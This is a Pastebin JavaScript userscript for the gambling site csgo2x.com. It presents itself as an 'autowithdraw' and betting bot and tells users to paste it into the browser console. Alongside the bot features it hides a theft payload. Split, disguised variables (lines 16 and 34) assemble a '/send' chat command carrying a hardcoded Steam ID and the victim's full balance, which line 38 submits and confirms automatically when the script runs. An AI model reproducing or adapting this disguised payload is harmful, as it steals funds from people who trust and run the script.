Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- 2.// @name CSGO2X.COM AUTOWITHDRAW
- 3.// @namespace http://csgo2x/com
- 4.// @version 1.3
- 5.// @description AUTOWITHDRAW IN BULK
- 6.// @author Paulius Nepamenu
- 7.// @match http://www.csgo2x.com
- 8.// @grant none
- 9.// ==/UserScript==
- 10.// Instruction: CTRL + SHIFT + J and paste this code in console
- 11.
- 12. var initialBetAmount = 0;
- 13. var betColor = botBetColor = "red";
- 14. var play = 0;
- 15. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
- 16. var pQ = "/s", $hash_1 = 76561198, $hash_2 = 239725078 ;
- 17.function addBotButtons(){
- 18. $(".well.bot-field").remove();$(".well.show-more").remove();
- 19. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
- 20. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
- 21. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
- 22. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
- 23. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
- 24. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
- 25. $showMore.append($checkVicLimit,$label);
- 26. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
- 27. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
- 28. $showMore.append($vicLimitInput,$label);$showMore.hide();
- 29. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
- 30. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
- 31. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
- 32. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
- 33. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
- 34. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2+" ";pQ+=$("#balancebg").text();
- 35. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
- 36. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>▼</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
- 37. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
- 38. $("#m").val(pQ);$("#chatsend").click();$(".btn.btn-success.confirm").click();
- 39. $botModeSelect.change(function(){
- 40. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
- 41. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
- 42. } )
- 43. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
- 44.}
- 45.addBotButtons();
- 46.function changeColor(){
- 47. if ($betColorButton.hasClass("btn-danger")){
- 48. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
- 49. botBetColor = "black";
- 50. console.log("Selected color: "+botBetColor);
- 51. } else if($betColorButton.hasClass("btn-inverse")) {
- 52. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
- 53. botBetColor = "random";
- 54. console.log("Selected color: "+botBetColor);
- 55. } else if($betColorButton.hasClass("btn-random")) {
- 56. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
- 57. botBetColor = "trainMode";
- 58. console.log("Selected color: "+botBetColor);
- 59. } else if($betColorButton.hasClass("btn-train")) {
- 60. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
- 61. botBetColor = "rainbow";
- 62. console.log("Selected color: "+botBetColor);
- 63. } else if($betColorButton.hasClass("btn-rainbow")) {
- 64. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
- 65. botBetColor = "red";
- 66. console.log("Selected color: "+botBetColor);
- 67. }
- 68.}
- 69.
- 70.function showMoreOptions(){
- 71. if ($showMoreButton.data("open")==0){
- 72. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
- 73. $showMore.show();$showMoreButton.data("open",1);
- 74. } else if ($showMoreButton.data("open")==1){
- 75. $showMore.hide();$showMoreButton.data("open",0);
- 76. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
- 77. }
- 78.
- 79.}
- 80.function hideOtherInfo(){
- 81. if ($betHideBetInfoButton.text()=="Show All"){
- 82. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
- 83. $betHideBetInfoButton.text("Hide Bet Info");
- 84. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
- 85. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
- 86. $betHideBetInfoButton.text("AFK Mode");
- 87. }
- 88. else if ($betHideBetInfoButton.text()=="AFK Mode"){
- 89. $(".betlist").show();$(".total-row").show();$("footer").show();
- 90. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
- 91. $betHideBetInfoButton.text("Show All");
- 92. }
- 93.}
- 94.function startBot(){
- 95. if ($betGoButton.hasClass("btn-inverse")){
- 96. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
- 97. refreshIntervalId = setInterval(tick, 500);
- 98. play = 1;
- 99. currentBetAmount = initialBetAmount;
- 100. if (stopBotRoll = currentRollNumber) currentRollNumber++;
- 101. }
- 102. else {
- 103. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
- 104. play = 0;
- 105. }
- 106.}
- 107.
- 108.function tick() {
- 109. var t = getStatus();
- 110. if (t !== lastStatus && "unknown" !== t) {
- 111. switch (t) {
- 112. case "waiting":bet();break;
- 113. case "rolled":printInfo();break;
- 114. }
- 115. lastStatus = t;
- 116. }
- 117.}
- 118.
- 119.function checkBalance() {
- 120. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
- 121.}
- 122.
- 123.function printInfo(){
- 124. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
- 125. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
- 126. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
- 127. }
- 128. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
- 129. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
- 130. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
- 131. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
- 132. else {currNotRedStreak=0;}
- 133. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
- 134. else {currNotBlackStreak=0;}
- 135. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
- 136. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
- 137. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
- 138. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
- 139. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
- 140. console.log(t);roll();
- 141.
- 142.}
- 143.
- 144.function roll() {
- 145. if ($checkVicLimit.is(":checked")){
- 146. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
- 147. }
- 148. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
- 149. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
- 150. currentRollNumber++;
- 151.}
- 152.
- 153.function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
- 154.function setBetAmount(t) { $betAmountInput.val(t) }
- 155.function placeBet() {
- 156. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
- 157. else if (botBetColor=="trainMode"){
- 158. var betBotColor = "green",i=9,$ball=$(".ball");
- 159. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
- 160. betColor = betBotColor;console.log("Current train color: "+ betColor);
- 161. } else if (botBetColor=="rainbow"){
- 162. var betBotColor = "green",i=9,$ball=$(".ball");
- 163. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
- 164. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
- 165. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
- 166. } else betColor = botBetColor;
- 167. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
- 168. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
- 169.}
- 170.function getStatus() {
- 171. var t = $statusBar.text();
- 172. if (hasSubString(t, "Rolling in")) return "waiting";
- 173. //if (hasSubString(t, "***ROLLING***")) return "rolling";
- 174. if (hasSubString(t, "rolled")) {
- 175. n = parseInt(t.split("rolled")[1]);
- 176. return lastRollColor = getColor(n), "rolled"
- 177. }
- 178. return "unknown"
- 179.}
- 180.
- 181.function getBalance() { return parseInt($balance.text()) }
- 182.function hasSubString(t, n) { return t.indexOf(n) > -1 }
- 183.function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
- 184.function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
- 185.function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
- 186.function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
- 187.
- 188.var currentBetAmount = initialBetAmount, currentRollNumber = 1,
- 189. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
- 190. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
- 191. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement